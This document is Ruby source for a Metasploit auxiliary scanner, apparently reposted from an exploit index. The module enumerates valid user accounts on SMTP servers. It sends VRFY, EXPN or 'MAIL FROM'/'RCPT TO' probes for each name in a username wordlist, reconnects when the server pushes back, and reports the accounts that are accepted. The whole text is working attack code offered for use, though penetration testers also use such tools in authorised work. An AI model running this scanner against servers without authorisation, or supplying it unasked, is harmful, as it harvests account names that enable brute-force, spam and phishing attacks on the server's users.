Share
## https://sploitus.com/exploit?id=PACKETSTORM:181007
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Smtp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
Aliases = [  
'auxiliary/scanner/smtp/enum'  
]  
  
def initialize  
super(  
'Name' => 'SMTP User Enumeration Utility',  
'Description' => %q{  
The SMTP service has two internal commands that allow the enumeration  
of users: VRFY (confirming the names of valid users) and EXPN (which  
reveals the actual address of users aliases and lists of e-mail  
(mailing lists)). Through the implementation of these SMTP commands can  
reveal a list of valid users.  
},  
'References' =>  
[  
['URL', 'http://www.ietf.org/rfc/rfc2821.txt'],  
['OSVDB', '12551'],  
['CVE', '1999-0531']  
],  
'Author' =>  
[  
'Heyder Andrade <heyder[at]alligatorteam.org>',  
'nebulus'  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
Opt::RPORT(25),  
OptString.new('USER_FILE',  
[  
true, 'The file that contains a list of probable users accounts.',  
File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt')  
]),  
OptBool.new('UNIXONLY', [ true, 'Skip Microsoft bannered servers when testing unix users', true])  
])  
  
deregister_options('MAILTO','MAILFROM')  
end  
  
def smtp_send(data=nil)  
begin  
result=''  
code=0  
sock.put("#{data}")  
result=sock.get_once  
result.chomp! if(result)  
code = result[0..2].to_i if result  
return result, code  
rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError  
return result, code  
rescue ::Exception => e  
print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")  
return nil, 0  
end  
end  
  
def run_host(ip)  
users_found = {}  
result = nil # temp for storing result of SMTP request  
code = 0 # status code parsed from result  
vrfy = true # if vrfy allowed  
expn = true # if expn allowed  
rcpt = true # if rcpt allowed and useful  
usernames = extract_words(datastore['USER_FILE'])  
  
cmd = 'HELO' + " " + "localhost" + "\r\n"  
connect  
result, code = smtp_send(cmd)  
  
if(not result)  
print_error("#{rhost}:#{rport} Connection but no data...skipping")  
return  
end  
banner.chomp! if (banner)  
if(banner =~ /microsoft/i and datastore['UNIXONLY'])  
print_status("#{rhost}:#{rport} Skipping microsoft (#{banner})")  
return  
elsif(banner)  
print_status("#{rhost}:#{rport} Banner: #{banner}")  
end  
  
domain = result.split()[1]  
domain = 'localhost' if(domain == '' or not domain or domain.downcase == 'hello')  
  
  
vprint_status("#{ip}:#{rport} Domain Name: #{domain}")  
  
result, code = smtp_send("VRFY root\r\n")  
vrfy = (code == 250)  
users_found = do_enum('VRFY', usernames) if (vrfy)  
  
if(users_found.empty?)  
# VRFY failed, lets try EXPN  
result, code = smtp_send("EXPN root\r\n")  
expn = (code == 250)  
users_found = do_enum('EXPN', usernames) if(expn)  
end  
  
if(users_found.empty?)  
# EXPN/VRFY failed, drop back to RCPT TO  
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")  
if(code == 250)  
user = Rex::Text.rand_text_alpha(8)  
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")  
if(code >= 250 and code <= 259)  
vprint_status("#{rhost}:#{rport} RCPT TO: Allowed for random user (#{user})...not reliable? #{code} '#{result}'")  
rcpt = false  
else  
smtp_send("RSET\r\n")  
users_found = do_rcpt_enum(domain, usernames)  
end  
else  
rcpt = false  
end  
end  
  
if(not vrfy and not expn and not rcpt)  
print_status("#{rhost}:#{rport} could not be enumerated (no EXPN, no VRFY, invalid RCPT)")  
return  
end  
finish_host(users_found)  
disconnect  
  
rescue Rex::ConnectionError, Errno::ECONNRESET, Rex::ConnectionTimeout, EOFError, Errno::ENOPROTOOPT  
rescue ::Exception => e  
print_error("Error: #{rhost}:#{rport} '#{e.class}' '#{e}'")  
end  
  
def finish_host(users_found)  
if users_found and not users_found.empty?  
print_good("#{rhost}:#{rport} Users found: #{users_found.sort.join(", ")}")  
report_note(  
:host => rhost,  
:port => rport,  
:type => 'smtp.users',  
:data => {:users => users_found.join(", ")}  
)  
end  
end  
  
def kiss_and_make_up(cmd)  
vprint_status("#{rhost}:#{rport} SMTP server annoyed...reconnecting and saying HELO again...")  
disconnect  
connect  
smtp_send("HELO localhost\r\n")  
result, code = smtp_send("#{cmd}")  
result.chomp!  
cmd.chomp!  
vprint_status("#{rhost}:#{rport} - SMTP - Re-trying #{cmd} received #{code} '#{result}'")  
return result,code  
end  
  
def do_enum(cmd, usernames)  
  
users = []  
usernames.each {|user|  
next if user.downcase == 'root'  
result, code = smtp_send("#{cmd} #{user}\r\n")  
vprint_status("#{rhost}:#{rport} - SMTP - Trying #{cmd} #{user} received #{code} '#{result}'")  
result, code = kiss_and_make_up("#{cmd} #{user}\r\n") if(code == 0 and result.to_s == '')  
if(code == 250)  
vprint_status("#{rhost}:#{rport} - Found user: #{user}")  
users.push(user)  
end  
}  
return users  
end  
  
def do_rcpt_enum(domain, usernames)  
users = []  
usernames.each {|user|  
next if user.downcase == 'root'  
vprint_status("#{rhost}:#{rport} - SMTP - Trying MAIL FROM: root\@#{domain} / RCPT TO: #{user}...")  
result, code = smtp_send("MAIL FROM: root\@#{domain}\r\n")  
result, code = kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n") if(code == 0 and result.to_s == '')  
  
if(code == 250)  
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")  
if(code == 0 and result.to_s == '')  
kiss_and_make_up("MAIL FROM: root\@#{domain}\r\n")  
result, code = smtp_send("RCPT TO: #{user}\@#{domain}\r\n")  
end  
  
if(code == 250)  
vprint_status("#{rhost}:#{rport} - Found user: #{user}")  
users.push(user)  
end  
else  
vprint_status("#{rhost}:#{rport} MAIL FROM: #{user} NOT allowed during brute...aborting ( '#{code}' '#{result}')")  
break  
end  
smtp_send("RSET\r\n")  
}  
return users  
end  
  
def extract_words(wordfile)  
return [] unless wordfile && File.readable?(wordfile)  
  
begin  
File.readlines(wordfile, chomp: true)  
rescue ::StandardError => e  
elog(e)  
[]  
end  
end  
end